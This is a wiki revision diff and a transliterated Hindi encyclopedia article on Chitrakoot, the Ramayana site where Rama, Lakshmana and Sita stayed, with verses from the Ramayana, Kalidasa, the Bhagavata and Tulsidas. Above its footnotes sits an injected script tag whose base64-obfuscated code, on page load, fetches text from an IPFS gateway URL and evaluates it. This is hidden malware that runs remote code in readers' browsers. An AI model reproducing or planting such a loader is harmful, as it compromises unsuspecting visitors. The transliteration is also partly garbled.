Difference between revisions of "चित्रकूट"
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('==चित्रकूट / Chitrakut== *वाल्मीकि रामायण तथा अन्य रामायणो...' के साथ नया पन्ना बनाया) |
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==चित्रकूट / Chitrakut== | ==चित्रकूट / Chitrakut== | ||
*[[वाल्मीकि रामायण]] तथा अन्य रामायणों में वर्णित प्रसिद्ध स्थान जहाँ श्री[[राम]], [[लक्ष्मण]] और [[सीता]] वनवास से समय कुछ दिनों तक रहे थे। <ref>[[अयोध्या काण्ड वा॰ रा॰|अयोध्या काण्ड]] 84,4-6</ref> से प्रतीत होता है कि अनेक रंग की धाताओं से भूषित होने के कारण ही इस पहाड़ को चित्रकूट कहते थे— | *[[वाल्मीकि रामायण]] तथा अन्य रामायणों में वर्णित प्रसिद्ध स्थान जहाँ श्री[[राम]], [[लक्ष्मण]] और [[सीता]] वनवास से समय कुछ दिनों तक रहे थे। <ref>[[अयोध्या काण्ड वा॰ रा॰|अयोध्या काण्ड]] 84,4-6</ref> से प्रतीत होता है कि अनेक रंग की धाताओं से भूषित होने के कारण ही इस पहाड़ को चित्रकूट कहते थे— | ||
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*बौद्धग्रंथ [[ललितविस्तर]] <ref> ललितविस्तर पृ॰391</ref> में भी चित्रकूट की पहाड़ी का उल्लेख है। | *बौद्धग्रंथ [[ललितविस्तर]] <ref> ललितविस्तर पृ॰391</ref> में भी चित्रकूट की पहाड़ी का उल्लेख है। | ||
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{{रामायण}} | {{रामायण}} | ||
==टीका-टिप्पणी== | ==टीका-टिप्पणी== | ||
<references/> | <references/> | ||
__INDEX__ | __INDEX__ | ||
| + | [[Category:पौराणिक_कोश]][[Category:रामायण]] | ||
Revision as of 11:13, 26 March 2010
chitrakoot / Chitrakut
- valmiki ramayan tatha any ramayanoan mean varnit prasiddh sthan jahaan shriram, lakshman aur sita vanavas se samay kuchh dinoan tak rahe the. [1] se pratit hota hai ki anek rang ki dhataoan se bhooshit hone ke karan hi is paha d ko chitrakoot kahate the—
‘pashyeyamachalan bhadre nana dvijaganayutamh shikharai: khamivodviddhairdhatumadbhirvibhooshitamh.
kechidh rajatasankasha: kechith kshataj sannibha:, pitamaanjishth varnashch kechinh manivaraprabha:.
pushpark ketakabhashch kechijjyotiras prabha:, virajanteachalendrasy desha dhatuvibhooshita:’.
- nimn varnan se yah spasht hai ki chitrakoot ramayan-kal mean prayagasth bharadvajashram se keval dasakos par sthit tha.[2]
- ajakal prayag se chitrakoot lagabhag chauguni doori par sthit hai. is samasya k samadhan yah manane se ho sakata hai ki valmiki ke samay ka prayag athava ganga-yamuna ka sangam sthan aj ke sangam se bahut dakshin mean tha. us samay prayag mean keval muniyoan ke ashram the aur is sthan ne tab tak janakirn nagar ka roop dharan n kiya tha. chitrakoot ki paha di ke atirikt is kshetr ke antargat kee gram haian, jinamean sitapuri pramukh hai. paha di par baanke siddh, devaangana, hanumanadhara, sita rasoee aur anusooya adi puny athan haian. dakshin pashchim mean gupt godavari namak sarita ek gahari guha se nissrit hoti hai. sitapuri payoshni nadi ke tat par sundar sthan hai aur vahian sthit hai jahaan shriram-sita ki parn kuti thi. ise puri bhi kahate haian. pahale inaka nam jayasianhapur tha aur yahaan koloan ka nivas tha.
- panna ke raja amanasianh ne jayasianhapur ko mahant charanadas ne dan mean diya tha. inhonean hi isaka sitapuri nam rakha tha. raghavaprayag, sitapuri ka b da tirth hai. isake samane mandakini nadi ka ghat hai. chitrakoot ke pas hi kamadagiri hai. isaki parikrama 3 mil ki hai. parikrama-path ko 1725 ee॰ mean chhatrasal ki rani chaandakuanvari ne pakka karavaya tha. kamata se 6 mil pashchimottar mean bharat koop namak vishal koop hai.
- tulasi-ramayan ke anusar is koop mean bharat ne sab tirthoan ka vah jal dal diya tha jo vah shri ram ke abhishek ke lie chitrakoot lae the.
- mahabharat [3] mean chitrakoot aur mandakini ka tirth roop mean varnan kiya gaya hai.[4]
- kalidas ne raghuvansh[5] mean chitrakoot ka varnan kiya hai—
‘chitrakootavanasthan ch kathit svargatirguro: lakshmya nimantrayaan chake tamanuchchhisht sanpada’.
‘dharasvanodgaridari mukhaasau shrriangagralagnambudavaprapank:, badhnati me bandhuragatri chakshudript: kakudmanivachitrakoot:’.
- shrimadbhagavat[6] mean bhi isaka ullekh hai—‘pariyatro dronashchitrakooto govardhano raivatak:’.
- adhyatmaramayan[7] mean chitrakoot mean ram ke nivas karane ka ullekh is prakar hai—
‘nagarashch sada yanti ramadarshanalalasa:, chitrakootasthitan jnatva sitaya lakshmanen ch'.
- mahakavi tulasidas ne ramacharitamanas (ayodhya kand) mean chitrakoot ka b da manohari varnan kiya hai. tulasidas chitrakoot mean bahut samay tak rahe the aur unhoanne jis prem aur tadatmy ki bhavana se chitrakoot ke shabd-chitr khianche haian ve ramayan ke sundaratam sthaloan mean haian—
‘raghuvar kahoo lakhan bhal ghatoo, karahu katahuan ab thahar thatoo.
lakhan dikh pay utarakarara, chahuan dishi phireu dhanush jiminara.
nadipanach sar sam dam dana, sakal kalush kali sauj nana.
chitrakoot jim achal aheri, chukee n ghat mar muthabheri’—adi.
- jain sahity mean bhi chitrakoot ka varnan hai.
- bhagavati tika[8] mean chitrakoot ko chitraku d kaha gaya hai.
- bauddhagranth lalitavistar [9] mean bhi chitrakoot ki paha di ka ullekh hai.
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
tika-tippani
- ↑ ayodhya kand 84,4-6
- ↑ ‘dashakoshitastat giriryasminnivatsyasi, maharshi sevit: puny: parvat: shubhadarshan:’ ayodhya kand 54, 28.
- ↑ anushasan parv 25, 29
- ↑ ‘chitrakoot janasthane tatha mandakini jale, vigahy vai niraharo rajalakshmya nishevyate,.
- ↑ raghuvansh 12, 15 aur 13, 47
- ↑ shrimadbhagavat 5, 19, 16
- ↑ ayodhya kand 9, 77
- ↑ bhagavati tika (7,6)
- ↑ lalitavistar pri॰391